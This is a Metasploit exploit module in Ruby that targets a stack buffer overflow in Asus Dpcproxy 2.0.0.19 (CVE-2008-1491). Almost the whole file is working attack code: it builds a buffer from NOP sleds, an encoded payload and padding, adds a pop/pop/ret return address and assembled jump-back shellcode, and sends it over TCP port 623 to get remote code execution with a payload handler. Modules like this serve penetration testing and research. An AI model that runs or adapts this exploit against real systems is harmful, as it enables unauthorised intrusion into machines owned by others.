##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Asus Dpcproxy Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
          It should be vulnerable until version 2.0.0.24.
          Credit to Luigi Auriemma
      },
      'Author'         => 'Jacopo Cervini',
      'References'     =>
        [
          [ 'CVE', '2008-1491' ],
          [ 'OSVDB', '43638' ],
          [ 'BID', '28394' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Asus Dpcroxy version 2.00.19 Universal',     { 'Ret' => 0x0040273b } ], # p/p/r
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 21 2008'))

    register_options([Opt::RPORT(623)])

  end

  def exploit
    connect

    sploit =   make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
    sploit << [target.ret].pack('V') +  make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
    sploit << make_nops(50)

    print_status("Trying target #{target.name}...")
    sock.put(sploit)
    select(nil,nil,nil,3) # =(

    handler
    disconnect
  end
end
